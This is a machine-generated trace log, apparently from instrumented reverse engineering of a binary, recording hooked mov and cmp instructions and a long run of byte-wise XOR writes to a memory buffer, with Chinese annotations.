[XOR @0x1000b49] MEM[0x2003f41] 0x00 ^ AL(0x01) → 0x01
寫入後 MEM = 0x00
[WRITE] @0x2003f41 ← 0x01
[XOR @0x1000b49] MEM[0x2003f42] 0x03 ^ AL(0x30) → 0x33
寫入後 MEM = 0x03
[WRITE] @0x2003f42 ← 0x33
[XOR @0x1000b49] MEM[0x2003f43] 0x31 ^ AL(0x32) → 0x03
寫入後 MEM = 0x31
[WRITE] @0x2003f43 ← 0x03
[XOR @0x1000b49] MEM[0x2003f44] 0x32 ^ AL(0x01) → 0x33
寫入後 MEM = 0x32
[WRITE] @0x2003f44 ← 0x33
[STATE] ESI ← 0x46
[HOOK MOV] @0x01000f96: mov esi, 0x2c
[XOR @0x1000faa] MEM[0x2003f20] 0x30 ^ AL(0x00) → 0x30
寫入後 MEM = 0x30
[WRITE] @0x2003f20 ← 0x30
[HOOK CMP] @0x01000fb0: cmp esi, 0x59
[XOR @0x1000faa] MEM[0x2003f21] 0x32 ^ AL(0x02) → 0x30
寫入後 MEM = 0x32
[WRITE] @0x2003f21 ← 0x30
[XOR @0x1000faa] MEM[0x2003f22] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f22 ← 0x02
[XOR @0x1000faa] MEM[0x2003f23] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f23 ← 0x01
[XOR @0x1000faa] MEM[0x2003f24] 0x30 ^ AL(0x30) → 0x00
寫入後 MEM = 0x30
[WRITE] @0x2003f24 ← 0x00
[XOR @0x1000faa] MEM[0x2003f25] 0x00 ^ AL(0x02) → 0x02
寫入後 MEM = 0x00
[WRITE] @0x2003f25 ← 0x02
[XOR @0x1000faa] MEM[0x2003f26] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f26 ← 0x30
[XOR @0x1000faa] MEM[0x2003f27] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f27 ← 0x33
[XOR @0x1000faa] MEM[0x2003f28] 0x03 ^ AL(0x02) → 0x01
寫入後 MEM = 0x03
[WRITE] @0x2003f28 ← 0x01
[XOR @0x1000faa] MEM[0x2003f29] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f29 ← 0x01
[XOR @0x1000faa] MEM[0x2003f2a] 0x31 ^ AL(0x33) → 0x02
寫入後 MEM = 0x31
[WRITE] @0x2003f2a ← 0x02
[XOR @0x1000faa] MEM[0x2003f2b] 0x02 ^ AL(0x01) → 0x03
寫入後 MEM = 0x02
[WRITE] @0x2003f2b ← 0x03
[XOR @0x1000faa] MEM[0x2003f2c] 0x02 ^ AL(0x01) → 0x03
寫入後 MEM = 0x02
[WRITE] @0x2003f2c ← 0x03
[XOR @0x1000faa] MEM[0x2003f2d] 0x01 ^ AL(0x02) → 0x03
寫入後 MEM = 0x01
[WRITE] @0x2003f2d ← 0x03
[XOR @0x1000faa] MEM[0x2003f2e] 0x02 ^ AL(0x03) → 0x01
寫入後 MEM = 0x02
[WRITE] @0x2003f2e ← 0x01
[XOR @0x1000faa] MEM[0x2003f2f] 0x03 ^ AL(0x03) → 0x00
寫入後 MEM = 0x03
[WRITE] @0x2003f2f ← 0x00
[XOR @0x1000faa] MEM[0x2003f30] 0x31 ^ AL(0x03) → 0x32
寫入後 MEM = 0x31
[WRITE] @0x2003f30 ← 0x32
[XOR @0x1000faa] MEM[0x2003f31] 0x00 ^ AL(0x01) → 0x01
寫入後 MEM = 0x00
[WRITE] @0x2003f31 ← 0x01
[XOR @0x1000faa] MEM[0x2003f32] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f32 ← 0x01
[XOR @0x1000faa] MEM[0x2003f33] 0x03 ^ AL(0x32) → 0x31
寫入後 MEM = 0x03
[WRITE] @0x2003f33 ← 0x31
[XOR @0x1000faa] MEM[0x2003f34] 0x00 ^ AL(0x01) → 0x01
寫入後 MEM = 0x00
[WRITE] @0x2003f34 ← 0x01
[XOR @0x1000faa] MEM[0x2003f35] 0x33 ^ AL(0x01) → 0x32
寫入後 MEM = 0x33
[WRITE] @0x2003f35 ← 0x32
[XOR @0x1000faa] MEM[0x2003f36] 0x01 ^ AL(0x31) → 0x30
寫入後 MEM = 0x01
[WRITE] @0x2003f36 ← 0x30
[XOR @0x1000faa] MEM[0x2003f37] 0x30 ^ AL(0x01) → 0x31
寫入後 MEM = 0x30
[WRITE] @0x2003f37 ← 0x31
[XOR @0x1000faa] MEM[0x2003f38] 0x32 ^ AL(0x32) → 0x00
寫入後 MEM = 0x32
[WRITE] @0x2003f38 ← 0x00
[XOR @0x1000faa] MEM[0x2003f39] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f39 ← 0x31
[XOR @0x1000faa] MEM[0x2003f3a] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f3a ← 0x31
[XOR @0x1000faa] MEM[0x2003f3b] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f3b ← 0x33
[XOR @0x1000faa] MEM[0x2003f3c] 0x01 ^ AL(0x31) → 0x30
寫入後 MEM = 0x01
[WRITE] @0x2003f3c ← 0x30
[XOR @0x1000faa] MEM[0x2003f3d] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f3d ← 0x31
[XOR @0x1000faa] MEM[0x2003f3e] 0x32 ^ AL(0x33) → 0x01
寫入後 MEM = 0x32
[WRITE] @0x2003f3e ← 0x01
[XOR @0x1000faa] MEM[0x2003f3f] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f3f ← 0x30
[XOR @0x1000faa] MEM[0x2003f40] 0x02 ^ AL(0x31) → 0x33
寫入後 MEM = 0x02
[WRITE] @0x2003f40 ← 0x33
[XOR @0x1000faa] MEM[0x2003f41] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f41 ← 0x00
[XOR @0x1000faa] MEM[0x2003f42] 0x33 ^ AL(0x30) → 0x03
寫入後 MEM = 0x33
[WRITE] @0x2003f42 ← 0x03
[XOR @0x1000faa] MEM[0x2003f43] 0x03 ^ AL(0x33) → 0x30
寫入後 MEM = 0x03
[WRITE] @0x2003f43 ← 0x30
[XOR @0x1000faa] MEM[0x2003f44] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f44 ← 0x33
[XOR @0x1000faa] MEM[0x2003f45] 0x00 ^ AL(0x03) → 0x03
寫入後 MEM = 0x00
[WRITE] @0x2003f45 ← 0x03
[XOR @0x1000faa] MEM[0x2003f46] 0x03 ^ AL(0x30) → 0x33
寫入後 MEM = 0x03
[WRITE] @0x2003f46 ← 0x33
[XOR @0x1000faa] MEM[0x2003f47] 0x31 ^ AL(0x33) → 0x02
寫入後 MEM = 0x31
[WRITE] @0x2003f47 ← 0x02
[XOR @0x1000faa] MEM[0x2003f48] 0x31 ^ AL(0x03) → 0x32
寫入後 MEM = 0x31
[WRITE] @0x2003f48 ← 0x32
[XOR @0x1000faa] MEM[0x2003f49] 0x01 ^ AL(0x33) → 0x32
寫入後 MEM = 0x01
[WRITE] @0x2003f49 ← 0x32
[XOR @0x1000faa] MEM[0x2003f4a] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f4a ← 0x32
[XOR @0x1000faa] MEM[0x2003f4b] 0x33 ^ AL(0x32) → 0x01
寫入後 MEM = 0x33
[WRITE] @0x2003f4b ← 0x01
[XOR @0x1000faa] MEM[0x2003f4c] 0x00 ^ AL(0x32) → 0x32
寫入後 MEM = 0x00
[WRITE] @0x2003f4c ← 0x32
[STATE] ESI ← 0x60
[HOOK MOV] @0x010015f6: mov esi, 0x2
[XOR @0x100160a] MEM[0x2003f20] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f20 ← 0x32
[HOOK CMP] @0x01001610: cmp esi, 0x5
[XOR @0x100160a] MEM[0x2003f21] 0x30 ^ AL(0x01) → 0x31
寫入後 MEM = 0x30
[WRITE] @0x2003f21 ← 0x31
[XOR @0x100160a] MEM[0x2003f22] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f22 ← 0x02
[STATE] ESI ← 0x11
[XOR @0x1000d40] MEM[0x2003f20] 0x32 ^ AL(0x01) → 0x33
寫入後 MEM = 0x32
[WRITE] @0x2003f20 ← 0x33
[HOOK CMP] @0x01000d46: cmp esi, 0x23
[XOR @0x1000d40] MEM[0x2003f21] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f21 ← 0x30
[XOR @0x1000d40] MEM[0x2003f22] 0x02 ^ AL(0x31) → 0x33
寫入後 MEM = 0x02
[WRITE] @0x2003f22 ← 0x33
[XOR @0x1000d40] MEM[0x2003f23] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f23 ← 0x00
[XOR @0x1000d40] MEM[0x2003f24] 0x00 ^ AL(0x32) → 0x32
寫入後 MEM = 0x00
[WRITE] @0x2003f24 ← 0x32
[XOR @0x1000d40] MEM[0x2003f25] 0x02 ^ AL(0x30) → 0x32
寫入後 MEM = 0x02
[WRITE] @0x2003f25 ← 0x32
[XOR @0x1000d40] MEM[0x2003f26] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f26 ← 0x01
[XOR @0x1000d40] MEM[0x2003f27] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f27 ← 0x33
[XOR @0x1000d40] MEM[0x2003f28] 0x01 ^ AL(0x31) → 0x30
寫入後 MEM = 0x01
[WRITE] @0x2003f28 ← 0x30
[XOR @0x1000d40] MEM[0x2003f29] 0x01 ^ AL(0x31) → 0x30
寫入後 MEM = 0x01
[WRITE] @0x2003f29 ← 0x30
[XOR @0x1000d40] MEM[0x2003f2a] 0x02 ^ AL(0x33) → 0x31
寫入後 MEM = 0x02
[WRITE] @0x2003f2a ← 0x31
[XOR @0x1000d40] MEM[0x2003f2b] 0x03 ^ AL(0x30) → 0x33
寫入後 MEM = 0x03
[WRITE] @0x2003f2b ← 0x33
[XOR @0x1000d40] MEM[0x2003f2c] 0x03 ^ AL(0x31) → 0x32
寫入後 MEM = 0x03
[WRITE] @0x2003f2c ← 0x32
[XOR @0x1000d40] MEM[0x2003f2d] 0x03 ^ AL(0x01) → 0x02
寫入後 MEM = 0x03
[WRITE] @0x2003f2d ← 0x02
[XOR @0x1000d40] MEM[0x2003f2e] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f2e ← 0x31
[XOR @0x1000d40] MEM[0x2003f2f] 0x00 ^ AL(0x33) → 0x33
寫入後 MEM = 0x00
[WRITE] @0x2003f2f ← 0x33
[XOR @0x1000d40] MEM[0x2003f30] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f30 ← 0x32
[XOR @0x1000d40] MEM[0x2003f31] 0x01 ^ AL(0x03) → 0x02
寫入後 MEM = 0x01
[WRITE] @0x2003f31 ← 0x02
[STATE] ESI ← 0x07
[HOOK MOV] @0x0100156b: mov esi, 0xf
[HOOK MOV] @0x01001570: mov esi, 0x2f
[WRITE] @0x2003f20 ← 0x00
[HOOK CMP] @0x01001586: cmp esi, 0x1f
[WRITE] @0x2003f21 ← 0x02
[WRITE] @0x2003f22 ← 0x31
[WRITE] @0x2003f23 ← 0x01
[WRITE] @0x2003f24 ← 0x03
[WRITE] @0x2003f25 ← 0x33
[WRITE] @0x2003f26 ← 0x33
[WRITE] @0x2003f27 ← 0x03
[WRITE] @0x2003f28 ← 0x01
[WRITE] @0x2003f29 ← 0x30
[WRITE] @0x2003f2a ← 0x00
[WRITE] @0x2003f2b ← 0x02
[WRITE] @0x2003f2c ← 0x01
[WRITE] @0x2003f2d ← 0x32
[WRITE] @0x2003f2e ← 0x00
[WRITE] @0x2003f2f ← 0x32
[STATE] ESI ← 0x3E
[HOOK MOV] @0x01000bed: mov esi, 0x22
[HOOK MOV] @0x01000bf2: mov esi, 0x2f
[WRITE] @0x2003f20 ← 0x03
[HOOK CMP] @0x01000c08: cmp esi, 0x45
[WRITE] @0x2003f21 ← 0x32
[WRITE] @0x2003f22 ← 0x02
[WRITE] @0x2003f23 ← 0x02
[WRITE] @0x2003f24 ← 0x30
[WRITE] @0x2003f25 ← 0x31
[WRITE] @0x2003f26 ← 0x01
[WRITE] @0x2003f27 ← 0x31
[WRITE] @0x2003f28 ← 0x33
[WRITE] @0x2003f29 ← 0x31
[WRITE] @0x2003f2a ← 0x32
[WRITE] @0x2003f2b ← 0x00
[WRITE] @0x2003f2c ← 0x01
[WRITE] @0x2003f2d ← 0x31
[WRITE] @0x2003f2e ← 0x32
[WRITE] @0x2003f2f ← 0x30
[WRITE] @0x2003f30 ← 0x30
[WRITE] @0x2003f31 ← 0x32
[WRITE] @0x2003f32 ← 0x30
[WRITE] @0x2003f33 ← 0x30
[WRITE] @0x2003f34 ← 0x30
[WRITE] @0x2003f35 ← 0x01
[WRITE] @0x2003f36 ← 0x01
[WRITE] @0x2003f37 ← 0x03
[WRITE] @0x2003f38 ← 0x00
[WRITE] @0x2003f39 ← 0x30
[WRITE] @0x2003f3a ← 0x00
[WRITE] @0x2003f3b ← 0x01
[WRITE] @0x2003f3c ← 0x00
[WRITE] @0x2003f3d ← 0x01
[WRITE] @0x2003f3e ← 0x33
[WRITE] @0x2003f3f ← 0x00
[WRITE] @0x2003f40 ← 0x03
[WRITE] @0x2003f41 ← 0x30
[WRITE] @0x2003f42 ← 0x02
[STATE] ESI ← 0x45
[HOOK MOV] @0x01001511: mov esi, 0x2
[XOR @0x1001525] MEM[0x2003f20] 0x03 ^ AL(0x02) → 0x01
寫入後 MEM = 0x03
[WRITE] @0x2003f20 ← 0x01
[HOOK CMP] @0x0100152b: cmp esi, 0x5
[XOR @0x1001525] MEM[0x2003f21] 0x32 ^ AL(0x02) → 0x30
寫入後 MEM = 0x32
[WRITE] @0x2003f21 ← 0x30
[XOR @0x1001525] MEM[0x2003f22] 0x02 ^ AL(0x30) → 0x32
寫入後 MEM = 0x02
[WRITE] @0x2003f22 ← 0x32
[STATE] ESI ← 0x2A
[HOOK MOV] @0x01000e7f: mov esi, 0x14
[XOR @0x1000e93] MEM[0x2003f20] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f20 ← 0x31
[HOOK CMP] @0x01000e99: cmp esi, 0x29
[XOR @0x1000e93] MEM[0x2003f21] 0x30 ^ AL(0x01) → 0x31
寫入後 MEM = 0x30
[WRITE] @0x2003f21 ← 0x31
[XOR @0x1000e93] MEM[0x2003f22] 0x32 ^ AL(0x01) → 0x33
寫入後 MEM = 0x32
[WRITE] @0x2003f22 ← 0x33
[XOR @0x1000e93] MEM[0x2003f23] 0x02 ^ AL(0x03) → 0x01
寫入後 MEM = 0x02
[WRITE] @0x2003f23 ← 0x01
[XOR @0x1000e93] MEM[0x2003f24] 0x30 ^ AL(0x00) → 0x30
寫入後 MEM = 0x30
[WRITE] @0x2003f24 ← 0x30
[XOR @0x1000e93] MEM[0x2003f25] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f25 ← 0x01
[XOR @0x1000e93] MEM[0x2003f26] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f26 ← 0x01
[XOR @0x1000e93] MEM[0x2003f27] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f27 ← 0x30
[XOR @0x1000e93] MEM[0x2003f28] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f28 ← 0x33
[XOR @0x1000e93] MEM[0x2003f29] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f29 ← 0x30
[XOR @0x1000e93] MEM[0x2003f2a] 0x32 ^ AL(0x33) → 0x01
寫入後 MEM = 0x32
[WRITE] @0x2003f2a ← 0x01
[XOR @0x1000e93] MEM[0x2003f2b] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f2b ← 0x00
[XOR @0x1000e93] MEM[0x2003f2c] 0x01 ^ AL(0x03) → 0x02
寫入後 MEM = 0x01
[WRITE] @0x2003f2c ← 0x02
[XOR @0x1000e93] MEM[0x2003f2d] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f2d ← 0x01
[XOR @0x1000e93] MEM[0x2003f2e] 0x32 ^ AL(0x02) → 0x30
寫入後 MEM = 0x32
[WRITE] @0x2003f2e ← 0x30
[XOR @0x1000e93] MEM[0x2003f2f] 0x30 ^ AL(0x30) → 0x00
寫入後 MEM = 0x30
[WRITE] @0x2003f2f ← 0x00
[XOR @0x1000e93] MEM[0x2003f30] 0x30 ^ AL(0x33) → 0x03
寫入後 MEM = 0x30
[WRITE] @0x2003f30 ← 0x03
[XOR @0x1000e93] MEM[0x2003f31] 0x32 ^ AL(0x03) → 0x31
寫入後 MEM = 0x32
[WRITE] @0x2003f31 ← 0x31
[XOR @0x1000e93] MEM[0x2003f32] 0x30 ^ AL(0x33) → 0x03
寫入後 MEM = 0x30
[WRITE] @0x2003f32 ← 0x03
[XOR @0x1000e93] MEM[0x2003f33] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f33 ← 0x32
[XOR @0x1000e93] MEM[0x2003f34] 0x30 ^ AL(0x32) → 0x02
寫入後 MEM = 0x30
[WRITE] @0x2003f34 ← 0x02
[STATE] ESI ← 0x19
[HOOK MOV] @0x010012b5: mov esi, 0xd
[XOR @0x10012c9] MEM[0x2003f20] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f20 ← 0x30
[HOOK CMP] @0x010012cf: cmp esi, 0x1b
[XOR @0x10012c9] MEM[0x2003f21] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f21 ← 0x01
[XOR @0x10012c9] MEM[0x2003f22] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f22 ← 0x33
[XOR @0x10012c9] MEM[0x2003f23] 0x01 ^ AL(0x03) → 0x02
寫入後 MEM = 0x01
[WRITE] @0x2003f23 ← 0x02
[XOR @0x10012c9] MEM[0x2003f24] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f24 ← 0x01
[XOR @0x10012c9] MEM[0x2003f25] 0x01 ^ AL(0x03) → 0x02
寫入後 MEM = 0x01
[WRITE] @0x2003f25 ← 0x02
[XOR @0x10012c9] MEM[0x2003f26] 0x01 ^ AL(0x32) → 0x33
寫入後 MEM = 0x01
[WRITE] @0x2003f26 ← 0x33
[XOR @0x10012c9] MEM[0x2003f27] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f27 ← 0x32
[XOR @0x10012c9] MEM[0x2003f28] 0x33 ^ AL(0x01) → 0x32
寫入後 MEM = 0x33
[WRITE] @0x2003f28 ← 0x32
[XOR @0x10012c9] MEM[0x2003f29] 0x30 ^ AL(0x01) → 0x31
寫入後 MEM = 0x30
[WRITE] @0x2003f29 ← 0x31
[XOR @0x10012c9] MEM[0x2003f2a] 0x01 ^ AL(0x03) → 0x02
寫入後 MEM = 0x01
[WRITE] @0x2003f2a ← 0x02
[XOR @0x10012c9] MEM[0x2003f2b] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f2b ← 0x00
[XOR @0x10012c9] MEM[0x2003f2c] 0x02 ^ AL(0x30) → 0x32
寫入後 MEM = 0x02
[WRITE] @0x2003f2c ← 0x32
[XOR @0x10012c9] MEM[0x2003f2d] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f2d ← 0x01
[STATE] ESI ← 0x4E
[HOOK MOV] @0x0100119b: mov esi, 0x26
[XOR @0x10011af] MEM[0x2003f20] 0x30 ^ AL(0x33) → 0x03
寫入後 MEM = 0x30
[WRITE] @0x2003f20 ← 0x03
[HOOK CMP] @0x010011b5: cmp esi, 0x4d
[XOR @0x10011af] MEM[0x2003f21] 0x01 ^ AL(0x02) → 0x03
寫入後 MEM = 0x01
[WRITE] @0x2003f21 ← 0x03
[XOR @0x10011af] MEM[0x2003f22] 0x33 ^ AL(0x32) → 0x01
寫入後 MEM = 0x33
[WRITE] @0x2003f22 ← 0x01
[XOR @0x10011af] MEM[0x2003f23] 0x02 ^ AL(0x32) → 0x30
寫入後 MEM = 0x02
[WRITE] @0x2003f23 ← 0x30
[XOR @0x10011af] MEM[0x2003f24] 0x01 ^ AL(0x32) → 0x33
寫入後 MEM = 0x01
[WRITE] @0x2003f24 ← 0x33
[XOR @0x10011af] MEM[0x2003f25] 0x02 ^ AL(0x01) → 0x03
寫入後 MEM = 0x02
[WRITE] @0x2003f25 ← 0x03
[XOR @0x10011af] MEM[0x2003f26] 0x33 ^ AL(0x32) → 0x01
寫入後 MEM = 0x33
[WRITE] @0x2003f26 ← 0x01
[XOR @0x10011af] MEM[0x2003f27] 0x32 ^ AL(0x02) → 0x30
寫入後 MEM = 0x32
[WRITE] @0x2003f27 ← 0x30
[XOR @0x10011af] MEM[0x2003f28] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f28 ← 0x32
[XOR @0x10011af] MEM[0x2003f29] 0x31 ^ AL(0x03) → 0x32
寫入後 MEM = 0x31
[WRITE] @0x2003f29 ← 0x32
[XOR @0x10011af] MEM[0x2003f2a] 0x02 ^ AL(0x03) → 0x01
寫入後 MEM = 0x02
[WRITE] @0x2003f2a ← 0x01
[XOR @0x10011af] MEM[0x2003f2b] 0x00 ^ AL(0x01) → 0x01
寫入後 MEM = 0x00
[WRITE] @0x2003f2b ← 0x01
[XOR @0x10011af] MEM[0x2003f2c] 0x32 ^ AL(0x30) → 0x02
寫入後 MEM = 0x32
[WRITE] @0x2003f2c ← 0x02
[XOR @0x10011af] MEM[0x2003f2d] 0x01 ^ AL(0x33) → 0x32
寫入後 MEM = 0x01
[WRITE] @0x2003f2d ← 0x32
[XOR @0x10011af] MEM[0x2003f2e] 0x30 ^ AL(0x03) → 0x33
寫入後 MEM = 0x30
[WRITE] @0x2003f2e ← 0x33
[XOR @0x10011af] MEM[0x2003f2f] 0x00 ^ AL(0x01) → 0x01
寫入後 MEM = 0x00
[WRITE] @0x2003f2f ← 0x01
[XOR @0x10011af] MEM[0x2003f30] 0x03 ^ AL(0x30) → 0x33
寫入後 MEM = 0x03
[WRITE] @0x2003f30 ← 0x33
[XOR @0x10011af] MEM[0x2003f31] 0x31 ^ AL(0x32) → 0x03
寫入後 MEM = 0x31
[WRITE] @0x2003f31 ← 0x03
[XOR @0x10011af] MEM[0x2003f32] 0x03 ^ AL(0x32) → 0x31
寫入後 MEM = 0x03
[WRITE] @0x2003f32 ← 0x31
[XOR @0x10011af] MEM[0x2003f33] 0x32 ^ AL(0x01) → 0x33
寫入後 MEM = 0x32
[WRITE] @0x2003f33 ← 0x33
[XOR @0x10011af] MEM[0x2003f34] 0x02 ^ AL(0x01) → 0x03
寫入後 MEM = 0x02
[WRITE] @0x2003f34 ← 0x03
[XOR @0x10011af] MEM[0x2003f35] 0x01 ^ AL(0x02) → 0x03
寫入後 MEM = 0x01
[WRITE] @0x2003f35 ← 0x03
[XOR @0x10011af] MEM[0x2003f36] 0x01 ^ AL(0x32) → 0x33
寫入後 MEM = 0x01
[WRITE] @0x2003f36 ← 0x33
[XOR @0x10011af] MEM[0x2003f37] 0x03 ^ AL(0x33) → 0x30
寫入後 MEM = 0x03
[WRITE] @0x2003f37 ← 0x30
[XOR @0x10011af] MEM[0x2003f38] 0x00 ^ AL(0x01) → 0x01
寫入後 MEM = 0x00
[WRITE] @0x2003f38 ← 0x01
[XOR @0x10011af] MEM[0x2003f39] 0x30 ^ AL(0x33) → 0x03
寫入後 MEM = 0x30
[WRITE] @0x2003f39 ← 0x03
[XOR @0x10011af] MEM[0x2003f3a] 0x00 ^ AL(0x03) → 0x03
寫入後 MEM = 0x00
[WRITE] @0x2003f3a ← 0x03
[XOR @0x10011af] MEM[0x2003f3b] 0x01 ^ AL(0x31) → 0x30
寫入後 MEM = 0x01
[WRITE] @0x2003f3b ← 0x30
[XOR @0x10011af] MEM[0x2003f3c] 0x00 ^ AL(0x33) → 0x33
寫入後 MEM = 0x00
[WRITE] @0x2003f3c ← 0x33
[XOR @0x10011af] MEM[0x2003f3d] 0x01 ^ AL(0x03) → 0x02
寫入後 MEM = 0x01
[WRITE] @0x2003f3d ← 0x02
[XOR @0x10011af] MEM[0x2003f3e] 0x33 ^ AL(0x03) → 0x30
寫入後 MEM = 0x33
[WRITE] @0x2003f3e ← 0x30
[XOR @0x10011af] MEM[0x2003f3f] 0x00 ^ AL(0x33) → 0x33
寫入後 MEM = 0x00
[WRITE] @0x2003f3f ← 0x33
[XOR @0x10011af] MEM[0x2003f40] 0x03 ^ AL(0x30) → 0x33
寫入後 MEM = 0x03
[WRITE] @0x2003f40 ← 0x33
[XOR @0x10011af] MEM[0x2003f41] 0x30 ^ AL(0x01) → 0x31
寫入後 MEM = 0x30
[WRITE] @0x2003f41 ← 0x31
[XOR @0x10011af] MEM[0x2003f42] 0x02 ^ AL(0x03) → 0x01
寫入後 MEM = 0x02
[WRITE] @0x2003f42 ← 0x01
[XOR @0x10011af] MEM[0x2003f43] 0x30 ^ AL(0x03) → 0x33
寫入後 MEM = 0x30
[WRITE] @0x2003f43 ← 0x33
[XOR @0x10011af] MEM[0x2003f44] 0x33 ^ AL(0x30) → 0x03
寫入後 MEM = 0x33
[WRITE] @0x2003f44 ← 0x03
[XOR @0x10011af] MEM[0x2003f45] 0x03 ^ AL(0x33) → 0x30
寫入後 MEM = 0x03
[WRITE] @0x2003f45 ← 0x30
[XOR @0x10011af] MEM[0x2003f46] 0x33 ^ AL(0x02) → 0x31
寫入後 MEM = 0x33
[WRITE] @0x2003f46 ← 0x31
[STATE] ESI ← 0x22
[HOOK MOV] @0x0100139e: mov esi, 0x9
[XOR @0x10013b2] MEM[0x2003f20] 0x03 ^ AL(0x32) → 0x31
寫入後 MEM = 0x03
[WRITE] @0x2003f20 ← 0x31
[HOOK CMP] @0x010013b8: cmp esi, 0x13
[XOR @0x10013b2] MEM[0x2003f21] 0x03 ^ AL(0x01) → 0x02
寫入後 MEM = 0x03
[WRITE] @0x2003f21 ← 0x02
[XOR @0x10013b2] MEM[0x2003f22] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f22 ← 0x00
[XOR @0x10013b2] MEM[0x2003f23] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f23 ← 0x32
[XOR @0x10013b2] MEM[0x2003f24] 0x33 ^ AL(0x32) → 0x01
寫入後 MEM = 0x33
[WRITE] @0x2003f24 ← 0x01
[XOR @0x10013b2] MEM[0x2003f25] 0x03 ^ AL(0x33) → 0x30
寫入後 MEM = 0x03
[WRITE] @0x2003f25 ← 0x30
[XOR @0x10013b2] MEM[0x2003f26] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f26 ← 0x00
[XOR @0x10013b2] MEM[0x2003f27] 0x30 ^ AL(0x33) → 0x03
寫入後 MEM = 0x30
[WRITE] @0x2003f27 ← 0x03
[XOR @0x10013b2] MEM[0x2003f28] 0x32 ^ AL(0x03) → 0x31
寫入後 MEM = 0x32
[WRITE] @0x2003f28 ← 0x31
[XOR @0x10013b2] MEM[0x2003f29] 0x32 ^ AL(0x31) → 0x03
寫入後 MEM = 0x32
[WRITE] @0x2003f29 ← 0x03
[STATE] ESI ← 0x5F
[HOOK MOV] @0x01000aaa: mov esi, 0x27
[HOOK MOV] @0x01000aaf: mov esi, 0x2f
[WRITE] @0x2003f20 ← 0x33
[HOOK CMP] @0x01000ac5: cmp esi, 0x4f
[WRITE] @0x2003f21 ← 0x30
[WRITE] @0x2003f22 ← 0x32
[WRITE] @0x2003f23 ← 0x00
[WRITE] @0x2003f24 ← 0x00
[WRITE] @0x2003f25 ← 0x02
[WRITE] @0x2003f26 ← 0x02
[WRITE] @0x2003f27 ← 0x03
[WRITE] @0x2003f28 ← 0x02
[WRITE] @0x2003f29 ← 0x33
[WRITE] @0x2003f2a ← 0x33
[WRITE] @0x2003f2b ← 0x01
[WRITE] @0x2003f2c ← 0x02
[WRITE] @0x2003f2d ← 0x30
[WRITE] @0x2003f2e ← 0x31
[WRITE] @0x2003f2f ← 0x02
[WRITE] @0x2003f30 ← 0x31
[WRITE] @0x2003f31 ← 0x30
[WRITE] @0x2003f32 ← 0x02
[WRITE] @0x2003f33 ← 0x32
[WRITE] @0x2003f34 ← 0x01
[WRITE] @0x2003f35 ← 0x33
[WRITE] @0x2003f36 ← 0x02
[WRITE] @0x2003f37 ← 0x32
[WRITE] @0x2003f38 ← 0x30
[WRITE] @0x2003f39 ← 0x33
[WRITE] @0x2003f3a ← 0x01
[WRITE] @0x2003f3b ← 0x02
[WRITE] @0x2003f3c ← 0x32
[WRITE] @0x2003f3d ← 0x31
[WRITE] @0x2003f3e ← 0x32
[WRITE] @0x2003f3f ← 0x01
